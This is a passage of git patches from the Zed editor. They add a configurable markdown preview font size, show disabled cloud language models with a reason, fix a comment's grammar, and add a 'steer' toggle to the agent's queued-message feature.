@@ -12,7 +12,7 @@ use editor::{Editor, EditorEvent, MultiBufferOffset, SelectionEffects};
 use gpui::{
     App, ClipboardItem, Context, Entity, EventEmitter, FocusHandle, Focusable, ImageSource,
     InteractiveElement, IntoElement, IsZero, Pixels, Render, Resource, RetainAllImageCache,
-    ScrollHandle, SharedString, SharedUri, Subscription, Task, WeakEntity, Window, point,
+    ScrollHandle, SharedString, SharedUri, Subscription, Task, WeakEntity, Window, point, px,
 };
 use language::LanguageRegistry;
 use markdown::{
@@ -21,9 +21,10 @@ use markdown::{
 };
 use project::search::SearchQuery;
 use project::{Project, ProjectPath};
-use settings::{SeedQuerySetting, Settings};
+use settings::{SeedQuerySetting, Settings, update_settings_file};
 use theme::{SystemAppearance, Theme, ThemeRegistry};
 use theme_settings::ThemeSettings;
+use ui::utils::WithRemSize;
 use ui::{ContextMenu, WithScrollbar, prelude::*, right_click_menu};
 use util::markdown::split_local_url_fragment;
 use workspace::item::{Item, ItemBufferKind, ItemHandle, SaveOptions, SerializableItem};
@@ -31,6 +32,7 @@ use workspace::searchable::{
     Direction, SearchEvent, SearchOptions, SearchToken, SearchableItem, SearchableItemHandle,
 };
 use workspace::{ItemId, Pane, Workspace, WorkspaceId, delete_unloaded_items};
+use zed_actions::{DecreaseBufferFontSize, IncreaseBufferFontSize, ResetBufferFontSize};
 
 use crate::markdown_preview_settings::MarkdownPreviewSettings;
 use crate::{
@@ -589,7 +591,64 @@ impl MarkdownPreviewView {
 
     fn line_scroll_amount(&self, cx: &App) -> Pixels {
         let settings = ThemeSettings::get_global(cx);
-        settings.buffer_font_size(cx) * settings.buffer_line_height.value()
+        settings.markdown_preview_font_size(cx) * settings.buffer_line_height.value()
+    }
+
+    fn increase_font_size(
+        &mut self,
+        action: &IncreaseBufferFontSize,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.adjust_font_size(action.persist, px(1.0), cx);
+    }
+
+    fn decrease_font_size(
+        &mut self,
+        action: &DecreaseBufferFontSize,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.adjust_font_size(action.persist, px(-1.0), cx);
+    }
+
+    fn adjust_font_size(&mut self, persist: bool, delta: Pixels, cx: &mut Context<Self>) {
+        if persist {
+            let Ok(fs) = self
+                .workspace
+                .read_with(cx, |workspace, _| workspace.app_state().fs.clone())
+            else {
+                return;
+            };
+            update_settings_file(fs, cx, move |settings, cx| {
+                let size = ThemeSettings::get_global(cx).markdown_preview_font_size(cx) + delta;
+                settings.theme.markdown_preview_font_size =
+                    Some(f32::from(theme_settings::clamp_font_size(size)).into());
+            });
+        } else {
+            theme_settings::adjust_markdown_preview_font_size(cx, |size| size + delta);
+        }
+    }
+
+    fn reset_font_size(
+        &mut self,
+        action: &ResetBufferFontSize,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if action.persist {
+            let Ok(fs) = self
+                .workspace
+                .read_with(cx, |workspace, _| workspace.app_state().fs.clone())
+            else {
+                return;
+            };
+            update_settings_file(fs, cx, move |settings, _| {
+                settings.theme.markdown_preview_font_size = None;
+            });
+        } else {
+            theme_settings::reset_markdown_preview_font_size(cx);
+        }
     }
 
     fn scroll_by_amount(&self, distance: Pixels) {
@@ -1127,6 +1186,7 @@ impl Render for MarkdownPreviewView {
             .as_ref()
             .map(|theme| theme.colors().editor_background)
             .unwrap_or_else(|| cx.theme().colors().editor_background);
+        let preview_font_size = ThemeSettings::get_global(cx).markdown_preview_font_size(cx);
         div()
             .image_cache(self.image_cache.clone())
             .id("MarkdownPreview")
@@ -1140,44 +1200,51 @@ impl Render for MarkdownPreviewView {
             .on_action(cx.listener(MarkdownPreviewView::scroll_down_by_item))
             .on_action(cx.listener(MarkdownPreviewView::scroll_to_top))
             .on_action(cx.listener(MarkdownPreviewView::scroll_to_bottom))
+            .on_action(cx.listener(MarkdownPreviewView::increase_font_size))
+            .on_action(cx.listener(MarkdownPreviewView::decrease_font_size))
+            .on_action(cx.listener(MarkdownPreviewView::reset_font_size))
             .w_full()
             .flex_1()
             .min_h_0()
             .bg(bg_color)
             .child(
-                div()
-                    .id("markdown-preview-scroll-container")
-                    .size_full()
-                    .overflow_y_scroll()
-                    .track_scroll(&self.scroll_handle)
-                    .p_4()
-                    .child({
-                        let markdown_element =
-                            self.render_markdown_element(&preview_theme, window, cx);
-                        let markdown = self.markdown.clone();
-                        let max_width = MarkdownPreviewSettings::get_global(cx).max_width;
-                        let content = right_click_menu("markdown-preview-context-menu")
-                            .trigger(move |_, _, _| markdown_element)
-                            .menu(move |window, cx| {
-                                let focus = window.focused(cx);
-                                let context_menu_link =
-                                    markdown.read(cx).context_menu_link().cloned();
-                                ContextMenu::build(window, cx, move |menu, _, _cx| {
-                                    menu.when_some(focus, |menu, focus| menu.context(focus))
-                                        .when_some(context_menu_link, |menu, url| {
-                                            menu.entry("Copy Link", None, move |_, cx| {
-                                                cx.write_to_clipboard(ClipboardItem::new_string(
-                                                    url.to_string(),
-                                                ));
+                WithRemSize::new(preview_font_size).size_full().child(
+                    div()
+                        .id("markdown-preview-scroll-container")
+                        .size_full()
+                        .overflow_y_scroll()
+                        .track_scroll(&self.scroll_handle)
+                        .p_4()
+                        .child({
+                            let markdown_element =
+                                self.render_markdown_element(&preview_theme, window, cx);
+                            let markdown = self.markdown.clone();
+                            let max_width = MarkdownPreviewSettings::get_global(cx).max_width;
+                            let content = right_click_menu("markdown-preview-context-menu")
+                                .trigger(move |_, _, _| markdown_element)
+                                .menu(move |window, cx| {
+                                    let focus = window.focused(cx);
+                                    let context_menu_link =
+                                        markdown.read(cx).context_menu_link().cloned();
+                                    ContextMenu::build(window, cx, move |menu, _, _cx| {
+                                        menu.when_some(focus, |menu, focus| menu.context(focus))
+                                            .when_some(context_menu_link, |menu, url| {
+                                                menu.entry("Copy Link", None, move |_, cx| {
+                                                    cx.write_to_clipboard(
+                                                        ClipboardItem::new_string(url.to_string()),
+                                                    );
+                                                })
                                             })
-                                        })
+                                    })
+                                });
+                            div()
+                                .w_full()
+                                .when_some(max_width, |this, max_width| {
+                                    this.max_w(max_width).mx_auto()
                                 })
-                            });
-                        div()
-                            .w_full()
-                            .when_some(max_width, |this, max_width| this.max_w(max_width).mx_auto())
-                            .child(content)
-                    }),
+                                .child(content)
+                        }),
+                ),
             )
             .vertical_scrollbar_for(&self.scroll_handle, window, cx)
     }
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index f9ef797b33093d..75b953e7cbc3d0 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -982,6 +982,7 @@ impl VsCodeSettings {
             git_commit_buffer_font_size: None,
             markdown_preview_font_family: None,
             markdown_preview_code_font_family: None,
+            markdown_preview_font_size: None,
             markdown_preview_theme: None,
             theme: None,
             icon_theme: None,
diff --git a/crates/settings_content/src/theme.rs b/crates/settings_content/src/theme.rs
index 305e1d405307a3..6c40f210c89392 100644
--- a/crates/settings_content/src/theme.rs
+++ b/crates/settings_content/src/theme.rs
@@ -156,6 +156,9 @@ pub struct ThemeSettingsContent {
     /// The name of a font to use for code (code blocks and inline code) in the
     /// markdown preview. Falls back to the buffer font if unset.
     pub markdown_preview_code_font_family: Option<FontFamilyName>,
+    /// The font size to use for rendering in the markdown preview.
+    /// Falls back to the buffer font size if unset.
+    pub markdown_preview_font_size: Option<FontSize>,
     /// The theme to use for the markdown preview.
     /// Falls back to the main editor theme if unset.
     pub markdown_preview_theme: Option<ThemeSelection>,
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 15f28020c53374..5bdb50b22e8216 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -1161,6 +1161,67 @@ fn appearance_page() -> SettingsPage {
         ]
     }
 
+    fn markdown_preview_font_section() -> [SettingsPageItem; 4] {
+        [
+            SettingsPageItem::SectionHeader("Markdown Preview Font"),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Font Family",
+                description: "Font family for the markdown preview. Falls back to the UI font family.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("markdown_preview_font_family"),
+                    pick: |settings_content| {
+                        settings_content.theme.markdown_preview_font_family.as_ref()
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content.theme.markdown_preview_font_family = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Code Font Family",
+                description: "Font family for code blocks in the markdown preview. Falls back to the editor font family.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("markdown_preview_code_font_family"),
+                    pick: |settings_content| {
+                        settings_content
+                            .theme
+                            .markdown_preview_code_font_family
+                            .as_ref()
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content.theme.markdown_preview_code_font_family = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Font Size",
+                description: "Font size for the markdown preview. Falls back to the editor font size.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("markdown_preview_font_size"),
+                    pick: |settings_content| {
+                        settings_content
+                            .theme
+                            .markdown_preview_font_size
+                            .as_ref()
+                            .or(settings_content.theme.buffer_font_size.as_ref())
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content.theme.markdown_preview_font_size = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
+        ]
+    }
+
     fn text_rendering_section() -> [SettingsPageItem; 2] {
         [
             SettingsPageItem::SectionHeader("Text Rendering"),
@@ -1389,6 +1450,7 @@ fn appearance_page() -> SettingsPage {
         buffer_font_section(),
         ui_font_section(),
         agent_panel_font_section(),
+        markdown_preview_font_section(),
         text_rendering_section(),
         cursor_section(),
         highlighting_section(),
diff --git a/crates/theme_settings/src/settings.rs b/crates/theme_settings/src/settings.rs
index 3d36f08aa58afb..5deadcc108a6bf 100644
--- a/crates/theme_settings/src/settings.rs
+++ b/crates/theme_settings/src/settings.rs
@@ -63,6 +63,9 @@ pub struct ThemeSettings {
     /// The font family to use for code in the markdown preview.
     /// Falls back to the buffer font family if unset.
     markdown_preview_code_font_family: Option<SharedString>,
+    /// The font size to use for rendering in the markdown preview.
+    /// Falls back to the buffer font size if unset.
+    markdown_preview_font_size: Option<Pixels>,
     /// The theme to use for the markdown preview.
     /// Falls back to the main editor theme if unset.
     pub markdown_preview_theme: Option<ThemeSelection>,
@@ -124,6 +127,12 @@ pub struct GitCommitBufferFontSize(Pixels);
 
 impl Global for GitCommitBufferFontSize {}
 
+/// In-memory override for the markdown preview font size.
+#[derive(Default)]
+pub struct MarkdownPreviewFontSize(Pixels);
+
+impl Global for MarkdownPreviewFontSize {}
+
 /// Represents the selection of a theme, which can be either static or dynamic.
 #[derive(Clone, Debug, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
 #[serde(untagged)]
@@ -440,6 +449,18 @@ impl ThemeSettings {
             .unwrap_or(&self.buffer_font.family)
     }
 
+    /// Returns the markdown preview font size.
+    ///
+    /// Note: the fallback deliberately uses `self.buffer_font_size` instead of `buffer_font_size(cx)`,
+    /// so that temporary editor zoom does not also resize the markdown preview.
+    pub fn markdown_preview_font_size(&self, cx: &App) -> Pixels {
+        cx.try_global::<MarkdownPreviewFontSize>()
+            .map(|size| size.0)
+            .or(self.markdown_preview_font_size)
+            .map(clamp_font_size)
+            .unwrap_or_else(|| clamp_font_size(self.buffer_font_size))
+    }
+
     /// Returns the buffer font size, read from the settings.
     ///
     /// The real buffer font size is stored in-memory, to support temporary font size changes.
@@ -476,6 +497,14 @@ impl ThemeSettings {
         self.git_commit_buffer_font_size
     }
 
+    /// Returns the markdown preview font size, read from the settings.
+    ///
+    /// The real markdown preview font size is stored in-memory, to support temporary
+    /// font size changes. Use [`Self::markdown_preview_font_size`] to get the real font size.
+    pub fn markdown_preview_font_size_settings(&self) -> Option<Pixels> {
+        self.markdown_preview_font_size
+    }
+
     /// Returns the buffer's line height.
     pub fn line_height(&self) -> f32 {
         f32::max(self.buffer_line_height.value(), MIN_LINE_HEIGHT)
@@ -643,6 +672,24 @@ pub fn reset_git_commit_buffer_font_size(cx: &mut App) {
     }
 }
 
+/// Sets the adjusted font size of the markdown preview.
+pub fn adjust_markdown_preview_font_size(cx: &mut App, f: impl FnOnce(Pixels) -> Pixels) {
+    let markdown_preview_font_size = ThemeSettings::get_global(cx).markdown_preview_font_size(cx);
+    let adjusted_size = cx
+        .try_global::<MarkdownPreviewFontSize>()
+        .map_or(markdown_preview_font_size, |adjusted_size| adjusted_size.0);
+    cx.set_global(MarkdownPreviewFontSize(clamp_font_size(f(adjusted_size))));
+    cx.refresh_windows();
+}
+
+/// Resets the markdown preview font size to the default value.
+pub fn reset_markdown_preview_font_size(cx: &mut App) {
+    if cx.has_global::<MarkdownPreviewFontSize>() {
+        cx.remove_global::<MarkdownPreviewFontSize>();
+        cx.refresh_windows();
+    }
+}
+
 /// Ensures font size is within the valid range.
 pub fn clamp_font_size(size: Pixels) -> Pixels {
     size.clamp(MIN_FONT_SIZE, MAX_FONT_SIZE)
@@ -701,6 +748,7 @@ impl settings::Settings for ThemeSettings {
                 .markdown_preview_code_font_family
                 .as_ref()
                 .map(|f| f.0.clone().into()),
+            markdown_preview_font_size: content.markdown_preview_font_size.map(|s| s.into_gpui()),
             markdown_preview_theme: content
                 .markdown_preview_theme
                 .clone()
diff --git a/crates/theme_settings/src/theme_settings.rs b/crates/theme_settings/src/theme_settings.rs
index 192dfa54c4720d..ff47093c0cba17 100644
--- a/crates/theme_settings/src/theme_settings.rs
+++ b/crates/theme_settings/src/theme_settings.rs
@@ -29,13 +29,14 @@ pub use crate::schema::{
 use crate::settings::adjust_buffer_font_size;
 pub use crate::settings::{
     AgentBufferFontSize, AgentUiFontSize, BufferLineHeight, FontFamilyName,
-    GitCommitBufferFontSize, IconThemeName, IconThemeSelection, ThemeAppearanceMode, ThemeName,
-    ThemeSelection, ThemeSettings, adjust_agent_buffer_font_size, adjust_agent_ui_font_size,
-    adjust_git_commit_buffer_font_size, adjust_ui_font_size, adjusted_font_size,
-    appearance_to_mode, clamp_font_size, default_theme, observe_buffer_font_size_adjustment,
+    GitCommitBufferFontSize, IconThemeName, IconThemeSelection, MarkdownPreviewFontSize,
+    ThemeAppearanceMode, ThemeName, ThemeSelection, ThemeSettings, adjust_agent_buffer_font_size,
+    adjust_agent_ui_font_size, adjust_git_commit_buffer_font_size,
+    adjust_markdown_preview_font_size, adjust_ui_font_size, adjusted_font_size, appearance_to_mode,
+    clamp_font_size, default_theme, observe_buffer_font_size_adjustment,
     reset_agent_buffer_font_size, reset_agent_ui_font_size, reset_buffer_font_size,
-    reset_git_commit_buffer_font_size, reset_ui_font_size, set_icon_theme, set_mode, set_theme,
-    setup_ui_font,
+    reset_git_commit_buffer_font_size, reset_markdown_preview_font_size, reset_ui_font_size,
+    set_icon_theme, set_mode, set_theme, setup_ui_font,
 };
 pub use theme::UiDensity;
 
@@ -91,6 +92,8 @@ pub fn init(themes_to_load: LoadThemes, cx: &mut App) {
     let mut prev_agent_buffer_font_size_settings = settings.agent_buffer_font_size_settings();
     let mut prev_git_commit_buffer_font_size_settings =
         settings.git_commit_buffer_font_size_settings();
+    let mut prev_markdown_preview_font_size_settings =
+        settings.markdown_preview_font_size_settings();
     let mut prev_theme_name = settings.theme.name(SystemAppearance::global(cx).0);
     let mut prev_icon_theme_name = settings.icon_theme.name(SystemAppearance::global(cx).0);
     let mut prev_theme_overrides = (
@@ -106,6 +109,7 @@ pub fn init(themes_to_load: LoadThemes, cx: &mut App) {
         let agent_ui_font_size_settings = settings.agent_ui_font_size_settings();
         let agent_buffer_font_size_settings = settings.agent_buffer_font_size_settings();
         let git_commit_buffer_font_size_settings = settings.git_commit_buffer_font_size_settings();
+        let markdown_preview_font_size_settings = settings.markdown_preview_font_size_settings();
         let theme_name = settings.theme.name(SystemAppearance::global(cx).0);
         let icon_theme_name = settings.icon_theme.name(SystemAppearance::global(cx).0);
         let theme_overrides = (
@@ -138,6 +142,11 @@ pub fn init(themes_to_load: LoadThemes, cx: &mut App) {
             reset_git_commit_buffer_font_size(cx);
         }
 
+        if markdown_preview_font_size_settings != prev_markdown_preview_font_size_settings {
+            prev_markdown_preview_font_size_settings = markdown_preview_font_size_settings;
+            reset_markdown_preview_font_size(cx);
+        }
+
         if theme_name != prev_theme_name || theme_overrides != prev_theme_overrides {
             prev_theme_name = theme_name;
             prev_theme_overrides = theme_overrides;
diff --git a/docs/src/visual-customization.md b/docs/src/visual-customization.md
index bff03dea5dd695..91922498486bc4 100644
--- a/docs/src/visual-customization.md
+++ b/docs/src/visual-customization.md
@@ -71,7 +71,17 @@ If you would like to use distinct themes for light mode/dark mode that can be se
   "agent_ui_font_size": 15,
   // Controls the font size for the agent panel's message editor, user message,
   // and any other snippet of code.
-  "agent_buffer_font_size": 12
+  "agent_buffer_font_size": 12,
+
+  // Controls the font size for the markdown preview.
+  // If not specified, it falls back to the editor font size.
+  "markdown_preview_font_size": null,
+  // Controls the font family for the markdown preview.
+  // If not specified, it falls back to the UI font family.
+  "markdown_preview_font_family": null,
+  // Controls the font family for code blocks in the markdown preview.
+  // If not specified, it falls back to the editor font family.
+  "markdown_preview_code_font_family": null
 ```
 
 ### Font ligatures

From 0b61ce20391dd506924e51bf21919bd3627570d9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tom=20Houl=C3=A9?=
 <13155277+tomhoule@users.noreply.github.com>
Date: Fri, 26 Jun 2026 13:07:29 +0200
Subject: [PATCH 113/772] language_models: Surface disabled cloud models
 (#59781)

Extends the support for disabled model state introduced in
https://github.com/zed-industries/zed/pull/59606 to Zed Cloud hosted
models.

Release Notes:

- N/A
---
 .../cloud_llm_client/src/cloud_llm_client.rs  |  4 +
 crates/language_models/src/provider/cloud.rs  | 79 ++++++++++++++-----
 .../src/language_models_cloud.rs              | 21 +++--
 3 files changed, 80 insertions(+), 24 deletions(-)

diff --git a/crates/cloud_llm_client/src/cloud_llm_client.rs b/crates/cloud_llm_client/src/cloud_llm_client.rs
index 152b84679da84c..a33a2e8cc1a779 100644
--- a/crates/cloud_llm_client/src/cloud_llm_client.rs
+++ b/crates/cloud_llm_client/src/cloud_llm_client.rs
@@ -316,6 +316,10 @@ pub struct LanguageModel {
     /// Only used by OpenAI and xAI.
     #[serde(default)]
     pub supports_parallel_tool_calls: bool,
+    #[serde(default)]
+    pub is_disabled: bool,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub disabled_reason: Option<String>,
 }
 
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
diff --git a/crates/language_models/src/provider/cloud.rs b/crates/language_models/src/provider/cloud.rs
index 52486b30ef1716..cdd4bb6c8aae0e 100644
--- a/crates/language_models/src/provider/cloud.rs
+++ b/crates/language_models/src/provider/cloud.rs
@@ -662,6 +662,31 @@ mod tests {
         sign_in_task
     }
 
+    fn test_cloud_model(
+        model_id: cloud_llm_client::LanguageModelId,
+    ) -> cloud_llm_client::LanguageModel {
+        cloud_llm_client::LanguageModel {
+            provider: cloud_llm_client::LanguageModelProvider::Anthropic,
+            id: model_id,
+            display_name: "Test Model".to_string(),
+            is_latest: true,
+            max_token_count: 200_000,
+            max_token_count_in_max_mode: None,
+            max_output_tokens: 8_192,
+            supports_tools: true,
+            supports_images: false,
+            supports_thinking: false,
+            supports_disabling_thinking: false,
+            supports_fast_mode: false,
+            supports_server_side_compaction: false,
+            supported_effort_levels: Vec::new(),
+            supports_streaming_tools: false,
+            supports_parallel_tool_calls: false,
+            is_disabled: false,
+            disabled_reason: None,
+        }
+    }
+
     #[gpui::test]
     async fn provider_authenticate_does_not_start_sign_in_when_signed_out(cx: &mut TestAppContext) {
         let (client, _user_store, provider) = cx.update(init_test);
@@ -754,6 +779,41 @@ mod tests {
         assert!(error.to_string().contains("AuthenticationError"));
     }
 
+    #[gpui::test]
+    async fn provided_models_surface_disabled_reason(cx: &mut TestAppContext) {
+        let (_client, _user_store, provider) = cx.update(init_test);
+        let model_id = cloud_llm_client::LanguageModelId(Arc::from("disabled-model"));
+        let disabled_reason = "This model is temporarily unavailable.";
+
+        cx.update(|cx| {
+            let cloud_model_provider = provider.state.read(cx).provider.clone();
+            cloud_model_provider.update(cx, |cloud_model_provider, cx| {
+                let mut model = test_cloud_model(model_id.clone());
+                model.is_disabled = true;
+                model.disabled_reason = Some(disabled_reason.to_string());
+                cloud_model_provider.update_models(cloud_llm_client::ListModelsResponse {
+                    models: vec![model],
+                    default_model: Some(model_id.clone()),
+                    default_fast_model: None,
+                    recommended_models: vec![model_id],
+                });
+                cx.notify();
+            });
+        });
+
+        let model = cx.read(|cx| {
+            provider
+                .provided_models(cx)
+                .into_iter()
+                .next()
+                .expect("disabled model should be provided")
+        });
+        assert_eq!(
+            model.is_disabled(),
+            Some(language_model::DisabledReason::new(disabled_reason))
+        );
+    }
+
     #[gpui::test]
     async fn sign_out_hides_cached_cloud_models(cx: &mut TestAppContext) {
         let (client, _user_store, provider) = cx.update(init_test);
@@ -780,24 +840,7 @@ mod tests {
             let cloud_model_provider = provider.state.read(cx).provider.clone();
             cloud_model_provider.update(cx, |cloud_model_provider, cx| {
                 cloud_model_provider.update_models(cloud_llm_client::ListModelsResponse {
-                    models: vec![cloud_llm_client::LanguageModel {
-                        provider: cloud_llm_client::LanguageModelProvider::Anthropic,
-                        id: model_id.clone(),
-                        display_name: "Test Model".to_string(),
-                        is_latest: true,
-                        max_token_count: 200_000,
-                        max_token_count_in_max_mode: None,
-                        max_output_tokens: 8_192,
-                        supports_tools: true,
-                        supports_images: false,
-                        supports_thinking: false,
-                        supports_disabling_thinking: false,
-                        supports_fast_mode: false,
-                        supports_server_side_compaction: false,
-                        supported_effort_levels: Vec::new(),
-                        supports_streaming_tools: false,
-                        supports_parallel_tool_calls: false,
-                    }],
+                    models: vec![test_cloud_model(model_id.clone())],
                     default_model: Some(model_id.clone()),
                     default_fast_model: None,
                     recommended_models: vec![model_id],
diff --git a/crates/language_models_cloud/src/language_models_cloud.rs b/crates/language_models_cloud/src/language_models_cloud.rs
index 0920f41821295f..07be3150c0c456 100644
--- a/crates/language_models_cloud/src/language_models_cloud.rs
+++ b/crates/language_models_cloud/src/language_models_cloud.rs
@@ -19,12 +19,13 @@ use http_client::{
     AsyncBody, HttpClient, HttpClientWithUrl, HttpRequestExt, Method, Response, StatusCode,
 };
 use language_model::{
-    ANTHROPIC_PROVIDER_ID, ANTHROPIC_PROVIDER_NAME, GOOGLE_PROVIDER_ID, GOOGLE_PROVIDER_NAME,
-    LanguageModel, LanguageModelCompletionError, LanguageModelCompletionEvent,
-    LanguageModelEffortLevel, LanguageModelId, LanguageModelName, LanguageModelProviderId,
-    LanguageModelProviderName, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolSchemaFormat, OPEN_AI_PROVIDER_ID, OPEN_AI_PROVIDER_NAME, RateLimiter,
-    X_AI_PROVIDER_ID, X_AI_PROVIDER_NAME, ZED_CLOUD_PROVIDER_ID, ZED_CLOUD_PROVIDER_NAME,
+    ANTHROPIC_PROVIDER_ID, ANTHROPIC_PROVIDER_NAME, DisabledReason, GOOGLE_PROVIDER_ID,
+    GOOGLE_PROVIDER_NAME, LanguageModel, LanguageModelCompletionError,
+    LanguageModelCompletionEvent, LanguageModelEffortLevel, LanguageModelId, LanguageModelName,
+    LanguageModelProviderId, LanguageModelProviderName, LanguageModelRequest,
+    LanguageModelToolChoice, LanguageModelToolSchemaFormat, OPEN_AI_PROVIDER_ID,
+    OPEN_AI_PROVIDER_NAME, RateLimiter, X_AI_PROVIDER_ID, X_AI_PROVIDER_NAME,
+    ZED_CLOUD_PROVIDER_ID, ZED_CLOUD_PROVIDER_NAME,
 };
 
 use schemars::JsonSchema;
@@ -322,6 +323,14 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
         self.model.is_latest
     }
 
+    fn is_disabled(&self) -> Option<DisabledReason> {
+        if self.model.is_disabled {
+            self.model.disabled_reason.clone().map(DisabledReason::new)
+        } else {
+            None
+        }
+    }
+
     fn requires_data_retention(&self) -> bool {
         // Anthropic cannot offer Fable models with Zero Data Retention
         self.id

From f0cb9fc8afc68875ef6b91962e65fff695deae8e Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Fri, 26 Jun 2026 13:42:56 +0200
Subject: [PATCH 114/772] editor: Fix grammar in comment (#59951)

This is less of an actual fix as more something to test some GitHub
stuff with.

Release Notes:

- N/A
---
 crates/editor/src/blink_manager.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/editor/src/blink_manager.rs b/crates/editor/src/blink_manager.rs
index 665d6141f20424..f265744de3304f 100644
--- a/crates/editor/src/blink_manager.rs
+++ b/crates/editor/src/blink_manager.rs
@@ -10,7 +10,7 @@ pub struct BlinkManager {
     blinking_paused: bool,
     /// Whether the cursor should be visibly rendered or not.
     visible: bool,
-    /// Whether the blinking currently enabled.
+    /// Whether the blinking is currently enabled.
     enabled: bool,
     /// Whether the blinking is enabled in the settings.
     blink_enabled_in_settings: fn(&App) -> bool,

From 5c58d5c49a7009c987b55819c05d90962910825f Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Fri, 26 Jun 2026 08:45:58 -0300
Subject: [PATCH 115/772] agent_ui: Refactor the queue feature and add steering
 ability (#59310)

Closes AI-367

This PR significantly refactors the queue feature so that we don't rely
on indexes being counted and synced across various state points of the
thread view. Instead, I'm introducing a dedicated message queue module
where we control through a stable queue entry ID all the states of a
given queued message.

Additionally, it's relevant to note that I changed the default behavior
of queued messages on this PR so that they get sent only at the end of
the generation. This makes the out-of-the-box, default behavior of the
feature consistent across the native and external agents, given we never
could pull off the feature with the latter. I personally never liked
that behavior anyway, but I do appreciate how some people do. Because of
that, though, for the Zed agent, a "Steer" toggle button is available
for whenever you'd like to signal that a queued message should be sent
at the turn boundary. This is not a setting, though; decided to go
simpler at this moment. It's something you can choose on a per-message
basis.

Ultimately, I think this implementation makes the overall shape of the
feature much more stable and easier to maintain overtime.

Release Notes:

- Agent: Changed the default behavior of queued messages for the Zed
agent so that they get send at the end of the generation. The ability to
steer them (i.e., send the message at the end of a turn boundary) is
still possible to be toggled.
---
 assets/keymaps/default-linux.json             |   1 +
 assets/keymaps/default-macos.json             |   1 +
 assets/keymaps/default-windows.json           |   1 +
 crates/agent/src/tests/mod.rs                 |  72 ++-
 crates/agent/src/thread.rs                    |  26 +-
 crates/agent_ui/src/agent_ui.rs               |   3 +
 crates/agent_ui/src/conversation_view.rs      | 411 +++++-------
 .../src/conversation_view/message_queue.rs    | 191 ++++++
 .../src/conversation_view/thread_view.rs      | 586 +++++++++++-------
 docs/src/ai/agent-panel.md                    |   2 +-
 10 files changed, 793 insertions(+), 501 deletions(-)
 create mode 100644 crates/agent_ui/src/conversation_view/message_queue.rs

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index ae25c39276e7e2..f0afef2e7b2a1b 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -337,6 +337,7 @@
       "ctrl-shift-alt-enter": "agent::SendNextQueuedMessage",
       "ctrl-shift-backspace": "agent::RemoveFirstQueuedMessage",
       "ctrl-alt-e": "agent::EditFirstQueuedMessage",
+      "ctrl-alt-s": "agent::ToggleSteerFirstQueuedMessage",
       "ctrl-alt-backspace": "agent::ClearMessageQueue",
       "ctrl-shift-v": "agent::PasteRaw",
       "ctrl-i": "agent::ToggleProfileSelector",
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 1c16af5b819de4..7967ca5bc71a22 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -381,6 +381,7 @@
       "cmd-shift-alt-enter": "agent::SendNextQueuedMessage",
       "cmd-shift-backspace": "agent::RemoveFirstQueuedMessage",
       "cmd-ctrl-e": "agent::EditFirstQueuedMessage",
+      "cmd-ctrl-s": "agent::ToggleSteerFirstQueuedMessage",
       "cmd-alt-backspace": "agent::ClearMessageQueue",
       "cmd-shift-v": "agent::PasteRaw",
       "cmd-i": "agent::ToggleProfileSelector",
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 442482f5aa7c3b..dfe8c1dff1302a 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -338,6 +338,7 @@
       "ctrl-shift-alt-enter": "agent::SendNextQueuedMessage",
       "ctrl-shift-backspace": "agent::RemoveFirstQueuedMessage",
       "ctrl-alt-e": "agent::EditFirstQueuedMessage",
+      "ctrl-alt-s": "agent::ToggleSteerFirstQueuedMessage",
       "ctrl-alt-backspace": "agent::ClearMessageQueue",
       "ctrl-shift-v": "agent::PasteRaw",
       "ctrl-i": "agent::ToggleProfileSelector",
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 93706a10d8367e..876fa33b9b9a00 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -7487,9 +7487,9 @@ async fn test_queued_message_ends_turn_at_boundary(cx: &mut TestAppContext) {
     fake_model
         .send_last_completion_stream_event(LanguageModelCompletionEvent::Stop(StopReason::ToolUse));
 
-    // Signal that a message is queued before ending the stream
+    // Request that the turn end at the next boundary (a "steering" queued message)
     thread.update(cx, |thread, _cx| {
-        thread.set_has_queued_message(true);
+        thread.set_end_turn_at_next_boundary(true);
     });
 
     // Now end the stream - tool will run, and the boundary check should see the queue
